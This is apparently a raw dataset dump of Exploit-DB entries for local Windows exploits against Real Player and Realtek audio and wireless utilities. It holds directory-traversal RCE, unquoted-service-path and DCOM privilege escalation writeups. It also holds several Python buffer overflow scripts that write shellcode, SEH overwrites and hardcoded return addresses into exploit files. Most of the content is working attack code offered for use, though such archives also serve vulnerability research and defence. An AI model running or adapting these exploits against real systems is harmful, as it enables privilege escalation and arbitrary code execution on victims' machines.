deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50954
Description: Real Player 16.0.3.51 - 'external::Import()' Directory Traversal to Remote Code Execution (RCE)
Type: local
Platform: windows
Date: 2022-06-14
Author: Eduardo Braun Prado

Exploit:
# Exploit Title: Real Player 16.0.3.51 - 'external::Import()' Directory Traversal to Remote Code Execution (RCE)
# Google Dork: n/a
# Date: May 31, 2022
# Exploit Author: Eduardo Braun Prado
# Vendor Homepage: http://real.com/
# Software Link: http://real.com/
# Version: ver. 16.00.282, 16.0.3.51, Cloud 17.0.9.17, v.20.0.7.309
# Tested on: Windows 7, 8.1, 10
# CVE : N/A

PoC: https://github.com/Edubr2020/RP_Import_RCE/raw/main/RP_Import_RCE.zip
vídeo: https://youtu.be/CONlijEgDLc

Real Player uses Microsoft Internet Explorer functionality and exposes properties and methods through a special mean which is application specific:

The 'external' object and it exposes several custom methods and properties.

The 'Import()' method is handled in unsafe way regarding the 'Copy to My Music' parameter, which allows for arbitrary file types downloading
which could be unsafe as only audio/image/video types should be allowed to download to the user´s disk. Additionally it does not properly sanitize file paths
allowing planting of arbitrary files on arbitrary locations. Even though it displays an error because it cannot render the downloaded file, the file remains until the user
closes the dialog box. Additionally when opening new windows, Real Player looks for an old, obsolete IE library (shdoclc.dll), which can also be abused to run code automatically without needing to wait
until reboot (true when file is planted in 'startup' folder).

The attacker needs to host the files to be copied/downloaded in an SMB or WebDav share.
The directory 'appdata' must be placed in the share's root.

The PoC will drop 'shdoclc.dll' (has simple code to run 'cmd.exe' at 'DllMain()' for demonstration purposes)  to the user´s 'windowsapps' folder and 'write.exe' to 'startup' folder, so it works universally (any Windows version from at least XP up to 11)

tested on RP ver. 16.00.282, 16.0.3.51, Cloud 17.0.9.17, v.20.0.7.309
Exploit-DB #36062
Description: Realtek 11n Wireless LAN utility - Local Privilege Escalation
Type: local
Platform: windows
Date: 2015-02-13
Author: Humberto Cabrera

Exploit:
Realtek 11n Wireless LAN utility privilege escalation.

Vulnerability Discovered by Humberto Cabrera @dniz0r
http://zeroscience.mk @zeroscience

Summary:
	⁃	Realtek 11n Wireless LAN utility is deployed and used by realtek
alfa cards and more in order to help diagnose and view wireless card
properties.

Description:
  -	Unquoted Privilege escalation that allows a user to gain SYSTEM
privileges.

Date - 12 Feb 2015
Version: 700.[PII_REDACTED]
Vendor: www.realtek.com.tw
Advisory URL:
https://eaty0face.wordpress.com/2015/02/13/realtek-11n-wireless-lan-utility-privilege-escalation/
Tested on: Win7

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: realtek11ncu
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\REALTEK\11n USB Wireless LAN
Utility\RtlService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Realtek11nCU
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Windows\system32>sc qc realtek11nsu
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: realtek11nsu
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\REALTEK\Wireless LAN
Utility\RtlService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Realtek11nSU
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49014
Description: Realtek Andrea RT Filters 1.0.64.10 - 'AERTSr64.EXE' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Erika Figueroa

Exploit:
# Exploit Title: Realtek Andrea RT Filters 1.0.64.10 - 'AERTSr64.EXE' Unquoted Service Path
# Discovery by: Erika Figueroa
# Discovery Date: 2020-11-07
# Vendor Homepage:  https://www.realtek.com/en/
# Tested Version: 1.0.64.10
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "CodeMeter" | findstr /i /v """

Andrea RT Filters Service                                               AERTFilters                         C:\Program Files\Realtek\Audio\HDA\AERTSr64.EXE                Auto

# Service info:

C:\>sc qc "AERTFilters"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: AERTFilters
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Realtek\Audio\HDA\AERTSr64.EXE
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Andrea RT Filters Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #49158
Description: Realtek Andrea RT Filters 1.0.64.7 - 'AERTSr64.EXE' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-12-02
Author: Manuel Alvarez

Exploit:
# Exploit Title: Realtek Andrea RT Filters 1.0.64.7 - 'AERTSr64.EXE' Unquoted Service Path
# Discovery by: manuel Alvarez
# Discovery Date: 2020-11-07
# Vendor Homepage:  https://www.realtek.com/en/
# Tested Version: 1.0.64.7
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 x64 es

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i
"Auto" | findstr /i /v "C:\Windows\\" | findstr /i "CodeMeter" | findstr /i
/v """

Andrea RT Filters Service
AERTFilters                         C:\Program Files\IDT\WDM\AESTSr64.exe
             Auto

# Service info:

C:\Users\ComoDVD>sc qc AESTFilters
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: AESTFilters
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\IDT\WDM\AESTSr64.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Andrea ST Filters Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert
their code in the system root path undetected by the OS or other security
applications where it could potentially be executed during application
startup or reboot. If successful, the local user's code would execute with
the elevated privileges of the application.
Exploit-DB #15539
Description: Realtek Audio Control Panel 1.0.1.65 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-14
Author: BraniX

Exploit:
# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition

# App. has classic buffer overflow vulnerability
# it can be triggered by passing a too long argument 
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need a generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
# we will c0de it for You ^^

filepath = "C:\\ShellCode\\RTLCPL 1.1.1.6 - Exploit.bin"
f = open(filepath, "wb")

f.write('[BraniX]')
f.write('A' * 304)                  # garbage

# shellcode
f.write('\xF7\x5A\x3A\x7E')         # jmp esp in user32
f.write('\x90' * 21)                # nop's

f.write('\x50')                     # push eax
f.write('\x53')                     # push ebx
f.write('\x53')                     # push ebx
f.write('\x50')                     # push eax
f.write('\x43')                     # inc ebx   
f.write('\x83\xC3\07')              # add ebx, 7
f.write('\x88\x03')                 # mov byte ptr [ebx], al
f.write('\xE8\x36\x08\x27\x7E')     # call user32.MessageBoxA

f.write('\x57')                     # push edi
f.write('\xE8\x58\xCB\x6E\x7C')     # call kernel32.ExitProcess

f.write('\xCC' * 50)                # int 3's
f.close()

print "Done ..."
Exploit-DB #41933
Description: Realtek Audio Driver 6.0.1.7898 (Windows 10) - Dolby Audio X2 Service Privilege Escalation
Type: local
Platform: windows
Date: 2017-04-25
Author: Google Security Research

Exploit:
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1075

Windows: Dolby Audio X2 Service Elevation of Privilege
Platform: Windows 10 + Realtek Audio Driver version 6.0.1.7898 (on a Lenovo P50). Version of the service binary 0.7.2.61 built on 7/18/2016.
Class: Elevation of Privilege

Summary:
The DAX2API service installed as part of the Realtek Audio Driver on Windows 10 is vulnerable to a privilege escalation vulnerability which allows a normal user to get arbitrary system privileges.

Description:

The DAX2API service is a DCOM service written in .NET running at system privileges. The use of .NET for DCOM is inherently unsafe and should not be used. There’s public exploit code to elevate privileges on arbitrary services available at https://github.com/tyranid/ExploitDotNetDCOM.

Microsoft recommends moving from using DCOM to WCF for .NET services of different privilege levels. See https://blogs.technet.microsoft.com/srd/2014/10/14/more-details-about-cve-2014-4073-elevation-of-privilege-vulnerability/ for more information.

Proof of Concept:

To demonstrate the vulnerability download the project https://github.com/tyranid/ExploitDotNetDCOM and compile using Visual Studio. The executable to use is ExploitDotNetDCOMSerialization.exe.

1) From a command prompt run the command “ExploitDotNetDCOMSerialization.exe 6A28A945-790C-4B68-B0F4-34EEB1626EE3 notepad” 
2) Check the currently running processes for the privileged copy of notepad,

Expected Result:
No privilege escalation occurs.

Observed Result:
An instance of notepad is running at system privileges.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41933.zip
Exploit-DB #15540
Description: Realtek Audio Microphone Calibration 1.1.1.6 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-14
Author: BraniX

Exploit:
# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition

# App. has classic buffer overflow vulnerability
# it can be triggered by passing too long argument 
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
# we will c0de it for You ^^

filepath = "C:\\ShellCode\\MicCal 1.1.1.6 - Exploit.bin"
f = open(filepath, "wb")

# dummy data
f.write('\x90' * 340)

# overwrite ret
f.write('\xD7\x30\x9D\x7C')
f.write("[BraniX]")
f.write('A' * 8)

# start shellcode
f.write('\x83\xEC\x08')         # sub esp,8
f.write('\x88\x04\x24')         # mov byte ptr [esp], al
f.write('\x83\xEC\x08')         # sub esp,8

f.write('\x54')                 # push esp
f.write('\x5B')                 # pop ebx

f.write('\x50')                 # push eax
f.write('\x53')                 # push ebx
f.write('\x53')                 # push ebx
f.write('\x50')                 # push eax

f.write('\xE8\x35\x08\x27\x7E') # call user32.MessageBoxA
f.write('\x57')                 # push edi

f.write('\xE8\x57\xCB\x6E\x7C') # call kernel32.ExitProcess

f.write('\xCC' * 10)            # int 3's

f.close()

print "Done ..."
Exploit-DB #49015
Description: Realtek Audio Service 1.0.0.55 - 'RtkAudioService64.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-11-09
Author: Erika Figueroa

Exploit:
# Exploit Title: Realtek Audio Service 1.0.0.55 - 'RtkAudioService64.exe' Unquoted Service Path
# Discovery by: Erika Figueroa
# Discovery Date: 2020-11-07
# Vendor Homepage: https://www.realtek.com/en/
# Tested Version: 1.0.0.55
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 8.1 x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "CodeMeter" | findstr /i /v """

Realtek Audio Service                                                   RtkAudioService                     C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe            Auto
# Service info:

C:\>sc qc "RtkAudioService"
[[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: RtkAudioService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe
        GRUPO_ORDEN_CARGA  : PlugPlay
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Realtek Audio Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #15541
Description: Realtek HD Audio Control Panel 2.1.3.2 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-11-14
Author: BraniX

Exploit:
# done by BraniX <branix@hackers.org.pl>
# www.hackers.org.pl
# found: 2010.08.24
# tested on: Windows XP SP3 Home Edition
# SafeSEH bypass

# App. has classic buffer overflow vulnerability
# it can be triggered by passing a too long argument 
# as a startup parameter. Shellcode can by run via classic
# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)

# Ps. If you need a generic exploit ...
# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ 
# we will c0de it for You ^^

filepath = "C:\\ShellCode\\RTHDCPL 2.1.3.2 - Exploit.bin"
f = open(filepath, "wb")

f.write('A'*4)
f.write('\x5E')                     # pop esi
f.write('\x5E')                     # pop esi
f.write('\xC3')                     # ret
f.write('\x90')                     # nop

f.write('[BraniX]')
f.write('A'*448)                    # mock

f.write('\xEB\x06')                 # jmp +6
f.write('\x90')                     # nop
f.write('\x90')                     # nop

f.write('\x70\x01\xA5\x01')         # pop; pop; ret; address

f.write('\x83\xC1\x0C')             # add ecx, 0Ch
f.write('\x88\x01')                 # mov byte ptr [ecx], al
f.write('\x83\xE9\x08')             # sub ecx, 08
f.write('\x50')                     # push eax
f.write('\x51')                     # push ecx
f.write('\x51')                     # push ecx
f.write('\x50')                     # push eax
f.write('\xE8\xC5\x08\x27\x7E')     # call user32.MessageBoxA

f.write('\x50')                     # push eax
f.write('\xE8\xE7\xCB\x6E\x7C')     # call kernel32.ExitProcess

f.write('\xCC'*1500)                # int 3's

f.close()

print "Done ..."
Exploit-DB #40587
Description: Realtek High Definition Audio Driver 6.0.1.6730 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Joey Lane

Exploit:
# Exploit Title: Realtek High Definition Audio Driver - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 6.0.1.6730
# Tested on: Windows 7 Professional
 
The Realtek High Definition Audio Driver installs a service with an unquoted service path.
This enables a local privilege escalation vulnerability.  To exploit this vulnerability,
a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable
with elevated privileges.
 
 
This was tested on version 6.0.1.6730, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc RtkAudioService                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: RtkAudioService                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files\Realtek\Audio\HDA\RtkAudioService64.exe                                                                           
        LOAD_ORDER_GROUP   : PlugPlay                                           
        TAG                : 0                                                  
        DISPLAY_NAME       : Realtek Audio Service                              
        DEPENDENCIES       :                                                    
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
Exploit-DB #7492
Description: Realtek Sound Manager (rtlrack.exe 1.15.0.0) - Playlist Buffer Overflow
Type: local
Platform: windows
Date: 2008-12-16
Author: shinnai

Exploit:
#usage: exploit.py

print "--------------------------------------------------------------------------"
print " Realtek Sound Manager (rtlrack.exe v. 1.15.0.0) PlayList Buffer Overflow\n"
print " url: http://www.realtek.com.tw/\n"
print " download: ftp://152.104.238.19/pc/audio/AP_A406.exe"
print "           ftp://202.65.194.212/pc/audio/AP_A406.exe"
print "           ftp://66.104.77.130/pc/audio/AP_A406.exe\n"
print " author: shinnai"
print " mail: shinnai[at]autistici[dot]org"
print " site: http://www.shinnai.net\n"
print " Tested on: Windows XP Pro SP3 Ita\n"
print " Greetings to:"
print " str0ke for being a friend as well as a great man\n"
print " In memory of rgod"
print "--------------------------------------------------------------------------"

buff = "\x41" * 220

EIP = "\xEB\xBA\x3F\x7E" #call ESP from user32.dll

nop = "\x90" * 12

shellcode = (
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
    "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
    "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
    "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
    "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
    "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
    "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
    "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
    "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
    "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
    "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
    "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
    "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
    "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
    "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
    "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
    "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
    )

egg = buff + EIP + nop + shellcode + nop

try:
    out_file = open("exploit.pla",'w')
    out_file.write(egg)
    out_file.close()
    raw_input("\nFILE CREATED!\n\nPress any key to exit...")
except:
    print "Something goes wrong..."

# milw0rm.com [2008-12-16]
Exploit-DB #8174
Description: Realtek Sound Manager 1.15.0.0 - Playlist Overwrite (SEH)
Type: local
Platform: windows
Date: 2009-03-09
Author: His0k4

Exploit:
#!/usr/bin/python
print "**************************************************************************"
print "[*] Realtek Sound Manager 1.15.0.0 (PlayList) Seh Overwrite Exploit\n"
print "[*] Author: shinnai"
print "[*] Seh Exploitation : His0k4"
print "[*] Tested on: Windows XP SP2 (Fr)\n"
print "[*] Greetings to: All friends & Muslims HacKerS (DZ)"
print "**************************************************************************"

buff = "\x41" * 200

next_seh = "\xEB\x06\x90\x90"

seh = "\xBE\x2E\xC6\x72" #pop pop ret  msacm32.drv

buff2 = "\x44"*1989

shellcode = (
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
    "\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
    "\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
    "\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
    "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
    "\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
    "\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
    "\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
    "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
    "\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
    "\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
    "\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
    "\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
    "\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
    "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
    "\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
    "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
    "\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
    )

exploit = buff + next_seh + seh + shellcode + buff2

try:
    out_file = open("exploit.pla",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit File Created!\nNow import it from Realtek"
except:
    print "Error"

# milw0rm.com [2009-03-09]